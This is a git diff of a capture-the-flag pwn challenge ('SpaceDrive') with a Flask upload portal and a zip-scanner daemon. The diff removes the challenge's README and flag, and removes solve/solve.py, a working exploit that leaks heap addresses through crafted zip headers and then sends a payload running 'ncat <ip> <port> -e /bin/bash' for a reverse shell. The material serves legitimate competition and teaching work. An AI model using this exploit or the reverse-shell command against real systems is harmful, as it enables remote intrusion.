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3de61a11fc
...
56ded46af5
34 changed files with 122 additions and 416 deletions
20
Dockerfile
20
Dockerfile
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@ -1,20 +0,0 @@
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FROM ubuntu:22.04
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RUN apt update && apt install python3-pip ncat -y
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RUN useradd -m -s /bin/bash user
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USER user
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WORKDIR /home/user
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COPY dist/mineziperd .
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COPY src/webapp webapp
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COPY flag.txt .
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WORKDIR /home/user/webapp
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RUN pip install -r requirements.txt
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EXPOSE 5000
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ENV FLASK_APP=app.py
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CMD ["python3", "-m", "flask", "run", "--host", "0.0.0.0"]
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28
README.md
28
README.md
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@ -1,26 +1,4 @@
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# SpaceDrive
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# mineziper 💣
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### A Minesweeper for zip files!
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## Deploy chall
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```bash
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sudo docker build -t chall .
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sudo docker run --rm -p 5000:5000 -it chall
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```
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## :triangular_flag_on_post: Challenge Informations
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| **Title** | Notebook |
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| ------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
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| **Category** | pwn |
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| **Description** | To upload the firmware updates to our satellites, we deplopped SpaceDrive, a safe file uploader across the stars. Because we experienced many issues with malicious ZipFiles in the past, our security team also developped a zip scanner to detected embeded malware. Will you be able to break it to take control of the satellite? |
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| **Author** | atxr |
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| **Difficulty (/10)** | 8 |
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| **Is Remote** | Yes |
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| **Has attachments** | Yes |
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| **Estimated solve time** | ~2h |
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| **Solve instructions** | First modify the victim/attacker ip in `solve/solve.py`. Then `cd solve && python3 solve.py` and follow the instructions |
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| **Flag** | **`THCon{WH3N_y0U_4N7iVIrus_IS_4C7U4LLY_4_84cKd00R}`** |
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| **Deploy** | `sudo docker build -t spacedrive . && sudo docker run --rm -p 5000:5000 -it spacedrive` |
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Detect zip bombs based on overlapping files.
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13
build.sh
13
build.sh
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@ -1,13 +0,0 @@
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echo "Building project and update sources in dist/"
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cd src/mineziper/
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mkdir build
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cd build
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cmake .. && make
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cp bin/mineziperd ../../../dist
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cd ..
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rm -rf build
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cd ../..
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echo "Adding source backup to dist/"
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zip -r dist/src.zip src
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BIN
dist/mineziperd
vendored
BIN
dist/mineziperd
vendored
Binary file not shown.
1
flag.txt
1
flag.txt
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THCon{WH3N_y0U_4N7iVIrus_IS_4C7U4LLY_4_84cKd00R}
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@ -1,7 +1,6 @@
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#include "libmineziper_bitstream.h"
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#include "libmineziper_bitstream.h"
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#include <assert.h>
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#include <assert.h>
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#include <stdio.h>
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unsigned int get_bits(bitstream* bs, unsigned int bit_num)
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unsigned int get_bits(bitstream* bs, unsigned int bit_num)
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{
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{
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135
solve/solve.py
135
solve/solve.py
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@ -1,135 +0,0 @@
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import requests
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import struct
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import zipfile
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##############
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# PARAMETERS #
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##############
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# Victim params
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ip = "X.X.X.X"
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port = 5000
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url = f"http://{ip}:{port}/upload"
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# Reverse shell params
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my_ip = "X.X.X.X"
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my_port = 9001
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#############
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# LEAK ASLR #
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#############
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guess = 0
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leak = b""
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size_chunk = 0x20
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off_data = size_chunk * 2
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stored_block_lfh = b'PK\x03\x04\n\x00\x00\x00\x00\x00\xd2\xbb[X\xday\xa1\xa7\x04\x00\x00\x00\x04\x00\x00\x00\x05\x00\x1c\x00dummyUT\t\x00\x03\x8cb\xdee\x8cb\xdeeux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x009\t\xb4\x13'
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stored_block_cd = b'PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00\xd2\xbb[X\xday\xa1\xa7\x04\x00\x00\x00\x04\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa4\x81\x00\x00\x00\x00dummyUT\x05\x00\x03\x8cb\xdeeux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00'
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cd = b"PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00C\x8a[X\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00%b\x18\x00%b\x00\x00\x00\x00\x00\x00\xa4\x81%blinpeas.shUT\x05\x00\x03>\x0b\xdeeux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00"
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eocd = b"PK\x05\x06\x00\x00\x00\x00\x80\x00%b%b%b\x00\x00"
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lencd = len(cd % (b"00", b"00", b"0000"))
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leneocd = len(eocd % (b"00", b'0000', b'0000'))
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totsize = len(stored_block_lfh)
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totsize += len(stored_block_cd)
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totsize += lencd
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totsize += leneocd
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totsize += 8 # metadata of heap chunk
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while totsize & 0xf != 0:
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totsize += 1
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off_data += totsize # offset to the beg of "data"
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off_data -= 0x18 # ajust to the beg of data.filename
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print(f"{hex(size_chunk)=}\n{hex(off_data)=}")
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for _ in range(8):
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off_data += 1
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for guess in range(0x100):
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# Add a classical stored block to put the free address on the heap
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zip = stored_block_lfh
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zip += stored_block_cd
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# generate payload for the size and inject malicious cdh
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payload = (guess << 8)
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if len(leak):
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payload += leak[0]
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comp = (0x1000a - payload) % 0x10000
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zip += cd % (struct.pack("H", payload), struct.pack("H", comp), struct.pack("I", off_data))
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# Add EOCD
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zip += eocd % (
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struct.pack("H", 2),
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struct.pack("I", lencd + len(stored_block_cd)),
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struct.pack("I", len(stored_block_lfh))
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)
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x = requests.post(url, files={'file': zip})
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if "Error" not in x.text:
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print("Found correct guess:", hex(guess))
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leak = guess.to_bytes(1, "big") + leak
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print(leak)
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leak_i = 0
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for i in range(8):
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leak_i += leak[7-i] << (i*8)
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print(hex(leak_i))
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#######################
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# Craft malicious zip #
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#######################
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l = 96
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offset = -0x54670
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free = leak_i
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system = struct.pack("Q", free + offset)
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command = b"ncat %b %b -e /bin/bash\x00" % (my_ip.encode(), str(my_port).encode())
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payload = command + b"a" * (l - len(command)) + b"\x00"*4 + system
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with zipfile.ZipFile("payload.zip", "w", zipfile.ZIP_DEFLATED) as zipf:
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with zipf.open("payload.txt", "w") as f:
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f.write(payload)
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f.close()
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for i in range(1, 8):
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with zipf.open(f"dummy{str(i)}.txt", "w") as f:
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f.write(b"dummy")
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f.close()
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zipf.close()
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zip = b""
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with open("payload.zip", "rb") as zipf:
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zip = zipf.read()
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zipf.close()
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off = zip.find(bytes([len(payload)]))
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print("Offset of payload size: " + hex(off))
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zip = zip[:off] + b"\x24" + zip[off+1:]
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with open("payload.zip", "wb") as zipf:
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zipf.write(zip)
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zipf.close()
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print("payload.zip patched")
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print("You can start listening on port ", str(my_port))
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print("Once you get the shell, `cat ~/flag.txt`")
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input("Press any key when you are ready...")
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print("Sending payload...")
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x = requests.post(url, files={'file': zip})
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print(x.text)
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@ -1,4 +0,0 @@
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# mineziper 💣
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### A Minesweeper for zip files!
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Detect zip bombs based on overlapping files.
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@ -1,7 +0,0 @@
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blinker==1.7.0
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click==8.1.7
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Flask==3.0.2
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itsdangerous==2.1.2
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Jinja2==3.1.3
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MarkupSafe==2.1.5
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Werkzeug==3.0.1
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@ -1,135 +0,0 @@
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body {
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font-family: 'Roboto', sans-serif;
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background-color: #0a0a23;
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color: #ffffff;
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margin: 0;
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padding: 0;
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background-image: url('space.jpg');
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background-size: cover;
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}
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.container {
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max-width: 500px;
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margin: 50px auto;
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padding: 20px;
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background-color: #1a1a33;
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border-radius: 10px;
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box-shadow: 0px 0px 20px rgba(255, 255, 255, 0.1);
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}
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h1 {
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text-align: center;
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margin-bottom: 30px;
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}
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form {
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text-align: center;
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}
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/* Hide the default file input button */
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input[type="file"] {
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display: none;
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}
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/* Style the custom file input button */
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.custom-file-upload {
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border: 2px solid #00BFFF;
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border-radius: 5px;
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padding: 10px 20px;
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background-color: transparent;
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color: #00BFFF;
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font-size: 16px;
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cursor: pointer;
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transition: background-color 0.3s, border-color 0.3s, color 0.3s;
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margin-right: 10px;
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}
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.custom-file-upload:hover {
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background-color: #00BFFF;
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/* Light blue background on hover */
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color: #FFFFFF;
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/* White text color on hover */
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}
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.custom-file-upload:focus {
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outline: none;
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/* Remove default focus outline */
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border-color: #1E90FF;
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/* Darker blue border color on focus */
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}
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input[type="submit"] {
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border: 2px solid #00BFFF;
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border-radius: 5px;
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padding: 10px 20px;
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background-color: #00ccff;
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color: #ffffff;
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cursor: pointer;
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font-size: 16px;
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transition: background-color 0.3s;
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margin-left: 10px;
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}
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input[type="submit"]:hover {
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background-color: #0099cc;
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}
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.message {
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text-align: center;
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margin-top: 20px;
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padding: 10px;
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background-color: #2d2d2d;
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color: #ffffff;
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border: 1px solid #ffffff;
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border-radius: 5px;
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}
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.note {
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font-size: 16px;
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color: #FFFFFF;
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||||||
/* White color for visibility */
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margin-top: 20px;
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text-align: center;
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|
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font-style: italic;
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border: 2px solid #FFFFFF;
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/* White border */
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padding: 10px;
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border-radius: 5px;
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background-color: rgba(0, 0, 0, 0.5);
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/* Semi-transparent black background */
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box-shadow: 0px 0px 10px rgba(255, 255, 255, 0.2);
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/* Add shadow for depth */
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}
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.success {
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background-color: #c9e6c9;
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color: #008000;
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|
||||||
border: 1px solid #4caf50;
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||||||
}
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||||||
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.error {
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background-color: #f8d7da;
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||||||
color: #721c24;
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||||||
border: 1px solid #f5c6cb;
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}
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|
||||||
/* CSS for "go back to home page" link */
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||||||
.back-link {
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|
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display: inline-block;
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|
||||||
margin-top: 20px;
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|
||||||
text-decoration: none;
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||||||
padding: 10px 20px;
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background-color: #007bff;
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||||||
/* Blue background color */
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color: #fff;
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||||||
/* White text color */
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border-radius: 5px;
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||||||
transition: background-color 0.3s, color 0.3s;
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||||||
}
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.back-link:hover {
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background-color: #0056b3;
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||||||
/* Darker blue background color on hover */
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||||||
color: #fff;
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||||||
/* White text color on hover */
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||||||
}
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@ -1,37 +0,0 @@
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||||||
<!DOCTYPE html>
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|
||||||
<html lang="en">
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|
||||||
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|
||||||
<head>
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|
||||||
<meta charset="UTF-8">
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|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
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|
||||||
<title>Satellite File Upload</title>
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|
||||||
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
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|
||||||
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|
||||||
</head>
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|
||||||
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|
||||||
<body>
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|
||||||
<div class="container">
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|
||||||
<h1>SpaceDrive 🛰️</h1>
|
|
||||||
<p>Welcome to the SpaceDrive portal. This service allows you to securely upload files to our satellite
|
|
||||||
systems orbiting Earth.</p>
|
|
||||||
<p>Using this portal, you can securely transmit files to our satellites from anywhere on Earth. 🌏</p>
|
|
||||||
|
|
||||||
|
|
||||||
<p class="note">Note: Submitted files will be scanned to detect malicious patterns. Our team has developed a
|
|
||||||
specific tool to scan zip files.</p>
|
|
||||||
|
|
||||||
<form action="/upload" method="post" enctype="multipart/form-data">
|
|
||||||
<label class="custom-file-upload">
|
|
||||||
<input type="file" name="file">
|
|
||||||
Choose a file
|
|
||||||
</label>
|
|
||||||
|
|
||||||
<input type="submit" value="Upload">
|
|
||||||
</form>
|
|
||||||
|
|
||||||
<div class="message" id="message">
|
|
||||||
🚀🚀🚀
|
|
||||||
</div>
|
|
||||||
</body>
|
|
||||||
|
|
||||||
</html>
|
|
||||||
|
|
@ -1,17 +0,0 @@
|
||||||
<!DOCTYPE html>
|
|
||||||
<html lang="en">
|
|
||||||
<head>
|
|
||||||
<meta charset="UTF-8">
|
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
||||||
<title>Upload Status</title>
|
|
||||||
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<div class="container">
|
|
||||||
<div class="message {% if success %}success{% else %}error{% endif %}">
|
|
||||||
{{ message }}
|
|
||||||
</div>
|
|
||||||
<a href="/" class="back-link">Go back to upload page</a>
|
|
||||||
</div>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
|
|
@ -3,8 +3,6 @@ import socket
|
||||||
from struct import pack, unpack
|
from struct import pack, unpack
|
||||||
import hashlib
|
import hashlib
|
||||||
import sys
|
import sys
|
||||||
import time
|
|
||||||
import os
|
|
||||||
|
|
||||||
PORT = 8989
|
PORT = 8989
|
||||||
|
|
||||||
|
|
@ -19,28 +17,18 @@ def index():
|
||||||
@app.route('/upload', methods=['POST'])
|
@app.route('/upload', methods=['POST'])
|
||||||
def upload():
|
def upload():
|
||||||
if 'file' not in request.files:
|
if 'file' not in request.files:
|
||||||
return render_template('upload_status.html', message='No file part', success=False)
|
return 'No file part'
|
||||||
|
|
||||||
file = request.files['file']
|
file = request.files['file']
|
||||||
if file.filename == '':
|
if file.filename == '':
|
||||||
return render_template('upload_status.html', message='No selected file', success=False)
|
return 'No selected file'
|
||||||
|
|
||||||
buf = file.read()
|
buf = file.read()
|
||||||
hash = hashlib.sha256(buf).digest()
|
hash = hashlib.sha256(buf).digest()
|
||||||
|
|
||||||
# Scan file
|
# Scan file
|
||||||
while True:
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
try:
|
s.settimeout(10)
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
s.connect(("localhost", PORT))
|
||||||
s.settimeout(10)
|
|
||||||
s.connect(("localhost", PORT))
|
|
||||||
break
|
|
||||||
|
|
||||||
except:
|
|
||||||
print("Restarting mineziper service", file=sys.stdout)
|
|
||||||
os.system("pkill mineziperd")
|
|
||||||
os.system("~/mineziperd &")
|
|
||||||
time.sleep(5)
|
|
||||||
|
|
||||||
s.send(pack("I", len(buf)))
|
s.send(pack("I", len(buf)))
|
||||||
s.send(buf)
|
s.send(buf)
|
||||||
|
|
@ -56,19 +44,16 @@ def upload():
|
||||||
|
|
||||||
elif (status == 1):
|
elif (status == 1):
|
||||||
message = "Error: Potential virus found, cannot upload."
|
message = "Error: Potential virus found, cannot upload."
|
||||||
success = False
|
|
||||||
|
|
||||||
else:
|
else:
|
||||||
message = 'File successfully uploaded'
|
message = 'File successfully uploaded'
|
||||||
files.append({'filename': file.filename, 'content':buf})
|
files.append({'filename': file.filename, 'content':buf})
|
||||||
success = True
|
|
||||||
|
|
||||||
except:
|
except:
|
||||||
message = 'Error: Failed to scan file'
|
message = 'Error: Failed to scan file'
|
||||||
success = False
|
|
||||||
|
|
||||||
s.close()
|
s.close()
|
||||||
return render_template('upload_status.html', message=message, success=success)
|
return message
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
app.run(debug=True)
|
app.run(debug=True)
|
||||||
|
Before Width: | Height: | Size: 1.7 MiB After Width: | Height: | Size: 1.7 MiB |
78
webapp/static/styles.css
Normal file
78
webapp/static/styles.css
Normal file
|
|
@ -0,0 +1,78 @@
|
||||||
|
body {
|
||||||
|
font-family: 'Roboto', sans-serif;
|
||||||
|
background-color: #0a0a23;
|
||||||
|
color: #ffffff;
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
background-image: url('space.jpg');
|
||||||
|
background-size: cover;
|
||||||
|
}
|
||||||
|
|
||||||
|
.container {
|
||||||
|
max-width: 500px;
|
||||||
|
margin: 50px auto;
|
||||||
|
padding: 20px;
|
||||||
|
background-color: #1a1a33;
|
||||||
|
border-radius: 10px;
|
||||||
|
box-shadow: 0px 0px 20px rgba(255, 255, 255, 0.1);
|
||||||
|
}
|
||||||
|
|
||||||
|
h1 {
|
||||||
|
text-align: center;
|
||||||
|
margin-bottom: 30px;
|
||||||
|
}
|
||||||
|
|
||||||
|
form {
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
input[type="file"] {
|
||||||
|
margin-bottom: 20px; /* Adjust margin-bottom to create space below the input */
|
||||||
|
margin-top: 20px; /* Add margin-top to create space above the input */
|
||||||
|
padding: 10px;
|
||||||
|
border: 2px solid #ddd;
|
||||||
|
border-radius: 5px;
|
||||||
|
width: 80%;
|
||||||
|
display: block;
|
||||||
|
margin: 0 auto;
|
||||||
|
background-color: #1a1a33;
|
||||||
|
color: #ffffff;
|
||||||
|
}
|
||||||
|
|
||||||
|
input[type="file"]::placeholder {
|
||||||
|
color: #ffffff;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
input[type="submit"] {
|
||||||
|
background-color: #00ccff;
|
||||||
|
color: #ffffff;
|
||||||
|
padding: 10px 20px;
|
||||||
|
border: none;
|
||||||
|
border-radius: 5px;
|
||||||
|
cursor: pointer;
|
||||||
|
font-size: 16px;
|
||||||
|
transition: background-color 0.3s;
|
||||||
|
}
|
||||||
|
|
||||||
|
input[type="submit"]:hover {
|
||||||
|
background-color: #0099cc;
|
||||||
|
}
|
||||||
|
|
||||||
|
.message {
|
||||||
|
text-align: center;
|
||||||
|
margin-top: 20px;
|
||||||
|
padding: 10px;
|
||||||
|
background-color: #2d2d2d;
|
||||||
|
color: #ffffff;
|
||||||
|
border: 1px solid #ffffff;
|
||||||
|
border-radius: 5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.note {
|
||||||
|
font-size: 14px;
|
||||||
|
color: #666;
|
||||||
|
margin-top: 10px;
|
||||||
|
text-align: center;
|
||||||
|
font-style: italic;
|
||||||
|
}
|
||||||
35
webapp/templates/index.html
Normal file
35
webapp/templates/index.html
Normal file
|
|
@ -0,0 +1,35 @@
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Satellite File Upload</title>
|
||||||
|
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
|
||||||
|
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<div class="container">
|
||||||
|
<h1>Satellite File Upload</h1>
|
||||||
|
<p>Welcome to the Satellite File Upload portal. This portal allows you to securely upload files to our satellite
|
||||||
|
systems orbiting Earth.</p>
|
||||||
|
<p>Our satellites are equipped with advanced sensors and instruments that collect various types of data,
|
||||||
|
including weather patterns, environmental changes, and astronomical observations. To ensure the smooth
|
||||||
|
operation of these satellites, it's essential to regularly upload firmware updates, configuration files, and
|
||||||
|
scientific data.</p>
|
||||||
|
<p>Using this portal, you can securely transmit files to our satellites from anywhere on Earth. Once uploaded,
|
||||||
|
our satellite communication systems will process and integrate the data seamlessly into our satellite
|
||||||
|
networks.</p>
|
||||||
|
<form action="/upload" method="post" enctype="multipart/form-data">
|
||||||
|
<input type="file" name="file" placeholder="Choose file">
|
||||||
|
<input type="submit" value="Upload">
|
||||||
|
<p class="note">Note: Submitted files will be scanned to detect malicious patterns. Our team has developed a
|
||||||
|
specific tool to scan zip files.</p>
|
||||||
|
|
||||||
|
</form>
|
||||||
|
<div class="message" id="message"></div>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
||||||
Loading…
Add table
Add a link
Reference in a new issue